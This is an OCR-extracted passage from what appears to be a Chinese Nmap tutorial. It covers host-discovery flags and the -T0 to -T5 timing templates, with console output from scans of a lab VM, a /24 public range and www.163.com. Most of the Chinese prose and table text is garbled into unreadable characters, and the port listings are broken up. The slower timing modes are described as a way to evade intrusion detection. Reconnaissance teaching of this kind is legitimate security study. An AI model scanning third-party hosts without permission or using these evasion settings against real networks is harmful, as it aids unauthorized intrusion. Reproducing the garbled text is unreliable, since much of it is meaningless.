8180/tcp open unknown

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.12 seconds
root@Wing:~#

B nmsn

% 2.9 PR N AZE i Nmap 22, RPN AN i dn & ——FR 4.

35
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& m . -

-sP Ping {14
-P0 JC Ping 414
-PS TCP SYN Ping 14
-PA TCP ACK Ping $14}
-PU UDP Ping $14f
-PE;-PP;-PM ICMP Ping Types $74ffi
-PR ARP Ping {34
-n 4% 11- DNS K [ f# At
-R S [6) AT SR 44
--system-dns 180 R IR A AR AT 2%
-sL FIRTH
-6 34 1Pv6 Hukk
--traceroute % H R R
-PY SCTP INIT Ping 34

FIRAFE TV AIAERHER, BN TR EMS LRSS L, AREAEARICE
BArEHL. BRNEOLT, Nmap {588%¢ EHUREAT K 354 T LARECEAT 184 7

root@Wing:~# nmap -sL 192.168.126.131/24

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-09 21:08 CST
Nmap scan report for 192.168.126.
Nmap scan report for 192.168.126.
Nmap scan report for 192.168.126.
Nmap scan report for 192.168.126.
Nmap scan report for 192.168.126.

U w N E O

Nmap scan report for 192.168.126.
Nmap scan report for 192.168.126.226
Nmap scan report for 192.168.126.227
Nmap scan report for 192.168.126.228
Nmap scan report for 192.168.126.229
Nmap scan report for 192.168.126.230
Nmap scan report for 192.168.126.231
Nmap scan report for 192.168.126.232
Nmap scan report for 192.168.126.233
Nmap scan report for 192.168.126.234
Nmap scan report for 192.168.126.235
Nmap scan report for 192.168.126.236
Nmap scan report for 192.168.126.237
Nmap scan report for 192.168.126.238
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Nmap scan report for 192.168.126.239
Nmap scan report for 192.168.126.240
Nmap scan report for 192.168.126.241
Nmap scan report for 192.168.126.242
Nmap scan report for 192.168.126.243
Nmap scan report for 192.168.126.244
Nmap scan report for 192.168.126.245
Nmap scan report for 192.168.126.246
Nmap scan report for 192.168.126.247
Nmap scan report for 192.168.126.248
Nmap scan report for 192.168.126.249
Nmap scan report for 192.168.126.250
Nmap scan report for 192.168.126.251
Nmap scan report for 192.168.126.252
Nmap scan report for 192.168.126.253
Nmap scan report for 192.168.126.254
Nmap scan report for 192.168.126.255
Nmap done: 256 IP addresses (0 hosts up) scanned in 6.26 seconds

root@Wing: ~#

2n BT EL L

% 2.10 PR AARFE BT Nmap fr&3%, RPMAGSAANTHFTEH<S— L DNS
JR [ AT o

%210 KHRE®S
W L

-sP Ping F14
-PO . Ping 4
-PS TCP SYN Ping $74
-PA TCP ACK Ping 1
-PU UDP Ping {4
-PE;-PP;-PM ICMP Ping Types 74
-PR ARP Ping f1i
-n %51 DNS R [EIf#EHT
R S [ R T B A4
--system-dns il I R GEAR A4 S A7 2
-sL LEIEE]
-6 4 1Pv6 Huht
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--tracerout

€

i £h B R

-PY

SCTP INIT Ping 14

-n JETUR AR AR AT AL, AT I I ik Nmap G AT H AR TP kA S 1 3k 44

b o

Nmap
Nmap
Nmap
Nmap
Nmap
-~€§E§
Nmap
Nmap
Nmap
Nmap
Nmap
Nmap
Nmap
Nmap
Nmap
Nmap
Nmap
Nmap
Nmap
Nmap
Nmap
Nmap
Nmap

root@

38

scan
scan
scan
scan
scan
scan
scan
scan
scan
scan
scan
scan
scan
scan
scan
scan
scan
scan
scan
scan
scan

done:
Wing:

report
report
report
report
report

report
report
report
report
report
report
report
report
report
report
report
report
report
report
report
report

~4#

root@Wing:~# nmap -n

Starting Nmap 6.40 (

for
for
for
for
for

for
for
for
for
for
for
for
for
for
for
for
for
for
for
for
for

-sL 124.172.156.75/24

http://nmap.org ) at 2014-06-09 21:30 CST

124.
124.
124.
124.
124.

124.
124.
124.
124.
124.
w172
124.
124.
124.
124.
124.
124.
5 L T2
124.
124.
124,
256 IP addresses

124

124

172.
172.
172.
172
L72k

172.
172.
172.
172
172.

172
172.
172.
172.
172.
172

1.72.
172
172.

156.0
156.1
156.2
156.3
156.4

156.240
156.241
156.242

.156.243

156.244
156.245
156.246
156.247
156.248
156.249
156.250
156.251
156,252
156.253

.156.254

156.255

(0 hosts up) scanned in 0.02 seconds

GIRTRAEH],  ARIER— G A7 344 G 58 (IR 5525 10 AN 2 Al %

W R AT B P, AEAZAE ST DUKHE BEw /b B AR EHLAIA R ), A
117 58 PRAAF 2 45 R«
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% 2.11 Pror A AR FENT TR Nmap 22, R a2 o AN @ i & —— I [l il i
WA .
%= 2.1 AHREWRS
ik I % B

-sP Ping 14
-PO X Ping £1H
-PS TCP SYN Ping #7#f
-PA TCP ACK Ping £1##
-PU UDP Ping $14#i
-PE:-PP;-PM ICMP Ping Types 34fi
-PR ARP Ping 14
-n 4% 1l- DNS J [ fig T
-R = R IE 4E
--system-dns i H R A T 4%
-sL VIEEEE
-6 14 TPv6 Hihk
—-traceroute e e BRER
_PY SCTP INIT Ping 34

-R BTN S o) b B 4%, A HI 2B BN Nmap 7K3zxd B bR 1P bk 4 S i) 454 A o

Nmap scan
Nmap scan
Nmap scan
Nmap scan
Nmap scan
._%5mg“.

Nmap scan
Nmap scan
Nmap scan

Nmap scan

report
report
report
report
report

report
report
report
report

root@Wing:~# nmap -R

Starting Nmap 6.40 (

for
for
for
for
for

for
for
for
for

—sL *.172.156,75/24

http://nmap.org ) at 2014-06-09 21:29 CST
*. 172.156.0

*,172.156.
*, 172,156,
* _172.156.
*,172.156.

Bw N

mail.***testarlight.com (*.172.156.229)
*.172.156.230
*¥.172.156.231
*.172.156.232
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£2% Nmap IHEH

Nmap scan report for *.172.156.233
Nmap scan report for *.172.156.234
Nmap scan report for *.172.156.235
Nmap scan report for *.172.156.236
Nmap scan report for *.172.156.237
Nmap scan report for *.172.156.238
Nmap scan report for *.172.156.239
Nmap scan report for *.172.156.240
Nmap scan report for *.172.156.241
Nmap scan report for *.172.156.242
Nmap scan report for *.172.156.243
Nmap scan report for *.172.156.244
Nmap scan report for *.172.156.245
Nmap scan report for *.172.156.246
Nmap scan report for *.172.156.247
Nmap scan report for *.172.156.248
Nmap scan report for *.172.156.249
Nmap scan report for *.172.156.250
Nmap scan report for *.172.156.251
Nmap scan report for *.172,156.252
Nmap scan report for *.172.156.253
Nmap scan report for *.172.156.254
Nmap scan report for *.172.156.255
Nmap done: 256 IP addresses (0 hosts up) scanned in 4.41 seconds

root@Wing:~#

it FARRFG AT LA B Nmap X1*.172.156.229 #E4T T R [ R4 AT, LAt 1P bk 304
G e A .

| RTE AT A RS B AL L, TR T E TR T T A E AR
App)o| semin. sim, et C RN RITEMHEE & 1P LA
B 3.

/i

23 R ET ST

R 212 PR AATENPTHR Nmap @R, RPN A4 NS —EH RS
AT ES -



*£212 ATE®S

£ I A
-sP Ping $714
-PO X Ping 4714
-PS TCP SYN Ping £14
-PA TCP ACK Ping 14
-PU UDP Ping 414
-PE:-PP;-PM ICMP Ping Types {14
-PR ARP Ping +14
-n 4% 11- DNS JZ i) fift 47
R 15 T 4
—-system-dns (& R G 2 T 2%
-sL B B4
<5 F148 1Pv6 ik
--traceroute % H R
-PY SCTP INIT Ping ¥4

--system-dns & NEH REIH L ENT25. BRI T, Nmap it HERIZE G ML
ECE A RS AR I A . A T e mtERE, FEIER (—RBRJLTAS) FHARIIT. WRE
A RS BT, wide EiZiE Dl Gl getnameinfo() il F — X fEHT—4> IP)

root@Wing:~# nmap --system-dns 192.168.126.2 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-09 21:37 CST
Nmap scan report for 192.168.126.2

Host is up (0.00021s latency).

Not shown: 999 closed ports

PORT STATE SERVICE

53/tcp open domain

MAC Address: 00:50:56:F1:06:20 (VMware)

Nmap scan report for 192.168.126.131
Host is up (0.00021s latency).
Not shown: 977 closed ports
PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind
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139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec

513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysqgl
5432/tcp open postgresgl
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
8009/tcp open ajpl3
8180/tcp open unknown

MAC Address: 00:0C:29:EQ0:2E:76 (VMware)

Nmap done: 2 IP addresses (2 hosts up) scanned in 0.20 seconds
root@Wing: ~#

[ sas—4 1Pv s

R 213 P AATEPTH; Nmap 323, RIS AN T m4
ik

4 1Pv6

#2.13 ATFFRWS
% Om wm B

_sP Ping F14
-PO JC Ping 114
_PS TCP SYN Ping £14i
-PA TCP ACK Ping #4fi
-PU UDP Ping $3##%
-PE;-PP;-PM ICMP Ping Types $14i
_PR ARP Ping H#
A 4511 DNS % [ 4
R 2 1) AT sk 4
--system-dns 18 R G 4 A T 2%
sL H A
-6 13 1Pv6 Hhhk




215 BEHERE

® I . =
—-traceroute e Ph RS
-PY SCTP INIT Ping 434

/)

a]]ﬂ-
y’ "

IPv6 #& Internet Protocol Version 6 455, H., Internet Protocol ¥k “ FLEX M ML 7. IPV6

& IETF (Internet Engineering Task Force, HIEM TFAES4A) Bt i T BACEHAT A 1P )
W (OPv4) B F—AAIP Y. H Y IP MU RA S 2 4 (AFRA IPv4), BT — MR
[Pv6.

Nmap 1R g s F70F 1Pve (434, FATTHE Nmap 1750 {3 F-6 1 T5 5L AT LABEAT X IPV6 )

EEE i

root@Wing:~# nmap -6 fe80::20c:29ff:feel:2e76

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-10 16:50 CST
Nmap scan report for fe80::20c:29ff:feel:2e76

Host is up (0.00040s latency).

Not shown: 996 closed ports

PORT STATE SERVICE

22/tcp open ssh

53/tcp open domain

2121/tcp open ccproxy-ftp

5432/tcp open postgresql

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.15 seconds
root@Wing: ~#

IPV6 ¥ & B W% e IPv4, (HAE B S KREIRN, IPv4 B4 KEHFAE.
JE TR 1P ES 2 IPv4 Mihl, R FEH 1Pve Mok, WIFEAFA

TEA)H) IPv6e H Fr sk ai in_F-6 I .

215§ 1 1

R 214 P AAFE PTG Nmap 622, R ar-2 20 A/ 5 B iy & —— 2% i Bt
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%2 Nmap THEIM

%214 ETFFE®HS
i I ®m B

-sP Ping F14
-P0O JC Ping $14i
-PS TCP SYN Ping 13
-PA TCP ACK Ping 14
-PU UDP Ping #14i
-PE;-PP;-PM ICMP Ping Types 1
-PR ARP Ping 4
-n %11- DNS J If fl# 4t
-R S [f) AT 58 42
--system-dns i R G 44 T 2%
L B 2EE
-6 14 1Pv6 Hiht
—-traceroute % B ER IR
-PY SCTP INIT Ping

il il --traceroute & IR W] HEAT it 1 BRI, 14 HT % by BREA T e T AT B AL T 8 199 48 1) R AT
RO, 38 IR I R] AR A Y MASH o SEHL S H bR 2 Tl e 1 A 4% 45 0, AT U 2108
REAANY R I 8] o
root@Wing:~# nmap --traceroute -v www.1l63.com

Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-27 21:04 CST
Initiating Ping Scan at 21:04
(112.253.19.198)

0.00s elapsed

# 1L AN ARATT HY X 5 AR 55 28 b it
(1 total hosts)

at 21:04
at 21:04,

Scanning www.163.com [4 ports]
Completed Ping Scan at 21:04,
Initiating Parallel DNS resolution of 1 host.
Completed Parallel DNS resolution of 1 host.
Initiating SYN Stealth Scan at 21:04
(112.253.19.198) [1000 ports]

Discovered open port 80/tcp on 112.253.19.198

Discovered open port 8080/tcp on 112.253.19.198

Discovered open port 443/tcp on 112.253.19.198

Discovered open port 8888/tcp on 112.253.19.198

Discovered open port 88/tcp on 112.253.19.198

3000/tcp on 112.253.19.198

Discovered open port 9080/tcp on 112.253.19.198

Discovered open port 8085/tcp on 112.253.19.198

adjust_timeouts2: packet supposedly had rtt of 9022009 microseconds.

0.02s elapsed

Scanning www.163.com

Discovered open port

Ignoring time.
adjust timeouts2: packet supposedly had rtt of 9022009 microseconds.
Discovered open port 8383/tcp on 112.253.19.198

Ignoring time.
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SYN Stealth Scan Timing: About 30.05% done; ETC: 21:05 (0:01:12 remaining)
Discovered open port 7001/tcp on 112.253.19.198

Discovered open port 8088/tcp on 112.253.19.198

Discovered open port 3030/tcp on 112.253.19.198

SYN Stealth Scan Timing: About 62.28% done; ETC: 21:05 (0:00:37 remaining)
Discovered open port 8082/tcp on 112.253.19.198
Discovered open port 20000/tcp on 112.253.19.198
RTTVAR has grown to over 2.3 seconds, decreasing to
RTTVAR has grown to over 2.3 seconds, decreasing to
RTTVAR has grown to over 2.3 seconds, decreasing to
RTTVAR has grown to over 2.3 seconds, decreasing to 2.
Completed SYN Stealth Scan at 21:06, 114.52s elapsed (
Initiating Traceroute at 21:06

NN
. .
H O o o o

000 total ports)

RTTVAR has grown to over 2.3 seconds, decreasing to 2.0

RTTVAR has grown to over 2.3 seconds, decreasing to 2.0

Completed Traceroute at 21:06, 0.03s elapsed

Initiating Parallel DNS resolution of 2 hosts. at 21:06

Completed Parallel DNS resclution of 2 hosts. at 21:06, 0.0l1ls elapsed
Nmap scan report for www.l63.com (112.253.19.198) ‘

Host is up (l.1ls latency).

Other addresses for www.l63.com (not scanned): 218.58.206.54

Not shown: 980 closed ports

PORT STATE SERVICE
80/tcp open http
88/tcp open kerberos-sec

135/tcp filtered msrpc

139/tcp filtered netbios-ssn
443/tcp open https

445/tcp filtered microsoft-ds
514/tcp filtered shell

593/tcp filtered http-rpc-epmap
3000/tcp open PPpP

3030/tcp open arepa-cas

4444 /tcp filtered krb524
7001/tcp open afs3-callback
8080/tcp open http-proxy
8082/tcp open blackice-alerts
8085/tcp open unknown
8088/tcp open radan-http
8383/tcp open m2mservices
8888/tcp open sun-answerbook
9080/tcp open glrpc

20000/tcp open dnp

TRACEROUTE (using port 80/tcp) $ I F ARS8 59 80 w0
HOP RTT ADDRESS

1 0.13 ms 192.168.239.2

2 0.13 ms 112.253.19.198
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gzﬁ Nmapimziij[ N Y.

Raw packets sent: 1098 (48.240KB) | Rcvd: 1091 (43.724KB)

Nmap done: 1 IP address (1 host up) scanned in 114.74 seconds
root@Wing:~#

PETY scTeINIT Ping 133

R 215 Fron AARE TG Nmap fir @2, RPN a4 N A/ N7 s fy@——SCTP INIT

Ping 14 .
#215 ATRESS
# M .
-sP Ping 44
-P0 & Ping 14
-PS TCP SYN Ping 14
-PA TCP ACK Ping 41
-PU UDP Ping 474
-PE;-PP;-PM ICMP Ping Types F14fi
-PR ARP Ping 4
-n % 11 DNS J [ fifAfr
R IR [ i AT 4
--system-dns 18 Fl RS 4 AT 4%
-sL SIRFH
-6 14 1Pve Hihk
—-traceroute % B PR ER
-PY SCTP INIT Ping 3

SCTP (Stream Control Transmission Protocol, i#% #lf&#ithil) & IETF (Internet
Engineering Task Force, [KFFM TFAES4) 7E 2000 4FE X [#)—/MEHIZ (Transport Layer)
. SCTP "] LAF1ER TCP Ml ks, el T TCP )—%A4 &, SCTP INIT Ping 14
WL [ HAR AR INIT 49, AR H bx EHLEHH N AW H As AR S AEE .

root@Wing:~# nmap -PY —-v 192.168.121.1

Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-28 12:39 CST
Initiating Ping Scan at 12:39

Scanning 192.168.121.1 [1 port]

Completed Ping Scan at 12:39, 0.00s elapsed (1 total hosts)



216 SCTP INIT Ping £

Nmap scan report for 192.168.121.1 [host down]
Read data files from: /usr/bin/../share/nmap
Note: Host seems down. If it is really up, but blocking our ping probes,
Nmap done: 1 IP address (0 hosts up) scanned in 0.06 seconds
Raw packets sent: 1 (52B) | Rcvd: 1 (80B)
root@Wing:~#

M tH 25 R AT LR B H AR EHUE A

try -Pn
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KEAA S

o Ui [1/M4H

o iy 434 N4

o M Nmap 5] IR A

o [N /3 Il

o iy 43457

® TCP SYN 14

o TCP A

e UDP #1iff

e TCP Null, FIN. Xmas §14i

e TCP ACK #4ff

® TCP % H 44

e TCP Maimon $14

e Hix X TCP H#h

o PR

L RS ERE

e ETP Bounce 14

AR TR A A 2 AR A7 2, 6T AN R R 3 B0 AN R AL 3 AS [ 4 7
2o LA B IRD0S F R T KA T AR 75 2 H b R TFIBOIRAS, 43R4 H brvs iR SS
R



AEEIN
%% 3.1 Pros AARFE AT Nmap fir &2, 45 (14 1 0 4 Fy g L,

% 3.1 A5 P ik I
i W -

=T IR e I3
P i 3 FR N
-sS TCP SYN F14ii
ST TCP A
U UDP $3i
-sNi-sF;-sX Ba M4
-sA TCP ACK 14
-sW TCP & 414
-sM TCP Maimon §-1i
--scanflags 52 X TCP F14h
-sl ElGESE]
-sO IP B4
-b FTP Bounce 414

31 ETB Y

gy R HEHR O R ER i) LA AR, X ELAF AR A N R AR R i BRRE
{5 6L, AHSEIR S 10 23 TRk 500 o 11 o 2 i i 1 AR 3 11

HLINZAT IR SRR, JESmitg AN G I B R, (S o 0 ARG (6, & s —
Seds 4, I HIZMIe 2 RGOk TIE, T2 RO BT il A 5 AR 2 B

XL B LU O GEAB PRI, S D . RGUEAT BIIX L8 TR, 58 J0 0730 1 2

B IFEOCH], WP, WHEsE FHG8 17, REUE P, i LT, REmE 3
il AINBEARRAN, BN B AT
TCP 0O

TCP (Transmission Control Protocol, &4 M) J&—Rihmidse GEZ SR 1.
ATREM S LT AR AL 40 28 (Transport layer) il {55 t/313, t1 IETF [¥) RFC 793 i ¥ (specified) .
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TERAL T EAL S OSI AT, & 52 )5 DU 2464 )2 B da e I BhRE, UDP & IA—2W 5 —
AN E B (R AL
UDP # O

UDP J& ISO %A h — MG 8 (A5 2 P i3l SRAL I (o) 2 45 (1) 1) BAN T 5245 Ak ik
k55, UDP PhCEEAS B 1P ¥ EZ UM H#E . UDP #hsGE H 0 4 BIsAT4E R — &
W& L2 A N HRET.

il O

iy G [ — P 5 TR 1), AR AL B 1 20N 1082 7 65536 2%, g /& o 1111
I AE G 2 0~65535.

fE Internet b, & EHLMIEN TCPAP Bl IE R MR, SN %dE BRI H
B TP Mk R BEAT ELI I 2% o (K s FRIEBE . vl I, 4E550H AR Hh A 16 1) B 1) E ML B )
Ao ) EE LR TR 1SN0, KEZHORE RAMIREZ T IR FET, B4l
1 AL A BB B8 A 1% 45 A 22 R INF I8 AT RO ERE P (I —ANWR 2 AR IXAN 1) A 1
ik, S EUNLARAE H A 5T NIER

RHIRAE R 245 IR TR PR 2 FE B3 1 (protocol port,  BIFATTH: Ui 113 1),
FAMOR D AN IEEARIR, G0 804 139, 445 &5, 4 H M ENBNBBIRARE, HRE
RSCE BT H B3 05, SEEEE ROX AN, T i AR R R RN B AR 2 S
HERE T — R B

i LSRR BN, 8 0E RGN S AR T AR BA, Hs 60 3 B 100 LA 4 A
RIBAFR, RPN, ERRARFRIE L T, XA AR T R K, ANt #E R4 i
B TR AR AN

AN R B2 B MR TR T 3 B A R, RS R A i FE 75 BT 3 3 O & Xk,
Bm G b 2R T U 1, DUEHS2 7 BEIUR b [] 4 3008 0. 21X AN 11

32 E L=t

iy P2 18 N ik — 4 DA 8 B DU T R & TH LSS 5, I T e
LRV ENL RS2 R 4% AR 551 Bt S ARG o s VSRR VR LR 25 3 T XK



3.3 M Nmap i85 CORZS

(i —Fi s 2o Bodi & nT LS e 1 A 21 R L o] R 5 BB 99 a1 SR b, o D HEEL I ) B
AN FARIEM R, — IR K IE AR Bl B[R] R R RS R R 7R A i H 3 B nl Hi it
T 5

TEERMZ, Nmap HA SRR A AR, PrA 4 R RS H PR B AR08 kK
i SRR ST, HAK Nmap —EAEHE R A CHIUERRE, (B AR AT BLsE 4@, Bk
A1) ey 2t 2 Fp oy S, BBn A RER DA TR ¥ 3R [B1 508 .

Nmap SCRFIFEEARAG LR, BATRRAESEATH R — B SR AR M —Fhgp
. A-NEEABAIE, 7 Nmap O, B R Dl-s<x> &
AHBLAT . #7& ACK 4 U 2-sA, #74& UDP 34 U 2&-sU.

EED M Nmap ingissops

{8 Fl Nmap ZEATHHEFIIH%, Nmap S0 205 O B R EMEER, AT RBEIK
{5 Bk o] LA B b DS, 2 5008 H AR 2215 5 ]

Nmap #2461t 7 6 Mo FURAS, HBIBRAT T #% Hix.
F—FIRZ: Open

KDL — pei Ak P TR AT AR, N ) e i — IR Bt e S T,
L RWMARKE i D REERH, X AEM T P AEA B ERIRRS. M AEH Nmap
HEAT Y AR, R R Open, i m DX S A TFBORZS, i€ 4 Open ARA(E
TEAGE T P&l

% _FR7 . Closed

455 1 K PO 5k Nomap 4557 LA $h 4R SURRIN 15K, B0 2 T Nemap (USRI C
JAEHLT WAL, 488, SR AR R AT B MR TR, SR TR
G, FTBLES AR F AT SIUTHORE T MR AR AR,
T 2 A KRR CBATBT 9, A, IR 2RI RILE A 1, WA S
S AN 013 K LV AR, Nmap 0% “TRBEI T — S, 00l A
fT.”
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B=FIRA . Filtered

TR DF 2 B — 5 2 A H AR I 5 B 3 2 A B/ B KR 1546 i Al ek i A
WBH 11 Nmap [FJ44, > Nmap 38 3 B KOS 15 8 50 55 e 2S00 i %, Nmap (148 SOt & 8
T 8RB H brig O, X PR Nmap JCvE R H briin 1 22 S 8T - HIRL s % F
AR — e I BN A e T, VR DAk 9 28 4 S pla 1y 10 2 9l ot o R Ak i)
43 AS[A] 1 st 1) B A X AT H 4
FIUFIRA . Unfiltered
M PR A% A I 1 AT LAYS ), (& Nmap HANGEH W H brii 2 AL T T BCIR AE 2 %
PRRAS, XS 1 H bRi & 5 ] LT ) 5 2 B RO AR KRB R, #lin, XA

g 1t AT LA#E %2 Nmap & th 25 FOERIIROC. # EE R, MBATEM ACK Hitiit 4= £
H AR ) XA AT AT LA — Rty s L BEAT 44, DUE T 3E— 2P HA B bR 1278 .

EHRFPIRZA. Open|Filtered

FFBGE R IER, AR Nmap A&t 25 IR SOFR A 3 2] B Arsm AR, AR aess &
BT R B A RBERY, HIX AR e A POLIEMIRA, IXH Nmap gh4 SILH H x
g 11 T TB0L B PER o X AR A GG # — Fh4=148 77 XBE— 2D HA H i & I 1808 A&
3uk) A

FEAFIRZA . Closed|Filtered

PZARA T Nmap ASBE 5 it 1 2 5 M IR #d e . AEER 2, B Rl Re I
IPID Idle 94 o

t(f’/ ; s A 6 FRAS, JXFE Al EUSE I B 3RS Nmap 1928 — 550408 .

34 P72

% 3.2 PR WA EENT T dG Nmap @r8K, &b kL ar& o AN Bt ar & —— I P I




*3.2 ATPAFRIE
# om ® B

-T I i I
-pl-F & F i 7
-sS TCP SYN $14fi
-sT TCP 54
-sU UDP $i4i
-sN;-sF;-sX (ST EsEL
-sA TCP ACK #7144
-sW TCP & 1474
-sM TCP Maimon 14
--scanflags 17 X TCP $14i
sl R
-s0 IP B4
-b FTP Bounce 4

34 MFEEH

#£ Nmap F#H-T (0-5) A LLE IR Rk Ii, X 3B ik BUX B A 0~5 A fiL 5.

-TO (Wi ft): HEF18RIFHE, FT IDS k.

-TU CRERD: S84, T IDS 2k,

-T2 (CHERDD:  FRARIE BE ARRAE N 98 OV #E, LI — RN H .

-T3 @R BN, RHE HARHI SN B 3 2 (A

-T4 CEPESHD): PREFEH, FHHAMT A, FEERG MRS FRMTHR, HRKTEE
LW HFF

TS CRAERDD: Modad, XFp4 7 X DU HEAERS BER SR THA Rl L .

Nmap 1§ F-T0 ETxF HARGEAT 14 .

root@Wing:~# nmap -T0 192.168.126.131

Starting Nmap 6.40 ( http://nmmap.org ) at 2015-06-10 17:37 CST
Nmap scan report for 192.168.126.131

Host is up (0.00036s latency).

Not shown: 977 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain
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80/tcp

111/tcp
139/tcp
445/tcp
512/tcp
513/tcp
514/tcp

Nmap done:

open

open
open
open
open
open
open

1099/tcp open
1524 /tcp open
2049/tcp open
2121/tcp open
3306/tcp open
5432 /tcp open
5900/tcp open
6000/tcp
6667/tcp
8009/tcp
8180/tcp
MAC Address:

open
open
open
open

http
rpcbind
netbios-ssn
microsoft-ds
exec

login

shell
rmiregistry
ingreslock
nfs
ccproxy-ftp
mysqgl
postgresqgl
vnc

X11

irc

ajpl3
unknown

00:0C:29:E0:2E:76 (VMware)

1 IP address (1 host up) scanned in 76.15 seconds
root@Wing:~#

Nmap i FH-T1 ZET00 H AR A T4 4

PORT
21/tcp
22/tcp
23/tep
25/tcp
53/tecp
80/tcp
111/tcp
139/tcp
445/tcp
512/tcp
513/tep
514/tcp
1099/tcp
1524 /tcp
2049/tcp
2121 /tecp
3306/tcp

5432/tcp

Host is up
Not shown:

Starting Nmap 6.40
Nmap scan report for 192.168.126.131
(0.
977 closed ports

STATE
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open

root@Wing:~%# nmap -T1 192.168.126.131

00036s latency) .

SERVICE

ftp

ssh

telnet

smtp

domain

http
rpcbind
netbios-ssn
microsoft-ds
exec

login

shell
rmiregistry
ingreslock
nfs
ccproxy-ftp
mysqgl
postgresql

( http://nmap.org ) at 2015-06-10 17:38 CST



34 BRI 2

5900/tcp open vnc

6000/tcp open X11

6667/tcp open 1irc

8009/tcp open ajpl3

8180/tcp open unknown

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 53.15 seconds
root@Wing:~#

Nmap A8 /-T2 3£ TN H AREAT 314

root@Wing:~# nmap -T2 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2015-06-10 17:40 CST
Nmap scan report for 192.168.126.131
Host is up (0.00036s latency).

Not shown: 977 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn

445/tcp open microsoft-ds

512/tcp open exec

513/tcp open login

514/tcp open shell

1099/tcp open rmiregistry

1524/tcp open ingreslock

2049/tcp open nfs

2121 /tcp open ccproxy-ftp

3306/tcp open mysql

5432 /tcp open postgresql

5900/tcp open vnc

6000/tcp open X11

6667/tcp open irc

8009/tcp open ajpl3

8180/tcp open unknown

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 36.15 seconds
root@Wing: ~#

Nmap £ /-T3 ZE50% H RT3

root@Wing:~# nmap -T3 192.168.126.131
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Starting Nmap 6.40 ( http://nmap.org ) at 2015-06-10 17:47 CST
Nmap scan report for 192.168.126.131
Host is up (0.00036s latency).

Not shown: 977 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn

445/tcp open microsoft-ds

512/tcp open exec

513/tcp open login

514/tcp open shell

1099/tcp open rmiregistry

1524/tcp open ingreslock

2049/tcp open nfs

2121/tcp open ccproxy-ftp

3306/tcp open mysqgl

5432/tcp open postgresqgl

5900/tcp open vnc

6000/tcp open X11

6667/tcp open irc

8009/tcp open ajpl3

8180/tcp open unknown

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 12.17 seconds
root@Wing: ~#

Nmap f#J1]-T4 I3 H AR2EAT 134

root@Wing:~# nmap -T4 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2015-06-10 17:47 CST
Nmap scan report for 192.168.126.131
Host is up (0.00034s latency).

Not shown: 977 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind
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139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec

513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524 /tcp open ingreslock
2049/tcp open nfs

2121/tcp open ccproxy-ftp
3306/tcp open mysql
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11

6667/tcp open irc

8009/tcp open ajpl3
8180/tcp open unknown

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.34 seconds
root@Wing:~#

Nmap {8 FH-T5 JETXT H FRBEAT 146

root@Wing:~# nmap -T5 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2015-06-10 17:47 CST
Nmap scan report for 192.168.126.131
Host is up (0.00036s latency).
Not shown: 977 closed ports
PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec

513/tcp open login

514/tcp open shell

1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs

2121/tcp open ccproxy-ftp
3306/tcp open mysgl

5432/tcp open postgresqgl
5900/tcp open wvnc

6000/tcp open X11
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#£3¥® ®ERE

6667/tcp open irc

8009/tcp open ajpl3

8180/tcp open unknown

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.15 seconds
root@Wing: ~#

Nmap f#J-TO~-T5 HEDUE —A dif@ R A5 0. Hd, @R H2 M T 1DS 2.
BERIA R O 7, BATHRD D 58 1) H (BT IRE S # . ERVFRITEIT, A7
—RHH-T4 BEATHS, SXFEORUE T AT LATE S /D (R0 6] P9 4148 21 < AT BE RS O 2080 o

:@:

=
)

TSI AR A AT IORCR, i A-F S50 T LUR AR 042
BRSO, B YR AT SR R, A A B R M R
R

35 LT

® 3.3 I AARFEATHIA Nmap @3, KR dr & A AN P dr & —— % HF
T
%33 ATIFAFEWDL
#® IR ®m B

T e 3 T3
-p|-F wHAB#ETR
-sS TCP SYN $1h
T TCP &R
-sU UDP 4l
-sN;-sF;-sX Sy ek
SSA TCP ACK 3
-sW TCP % P44
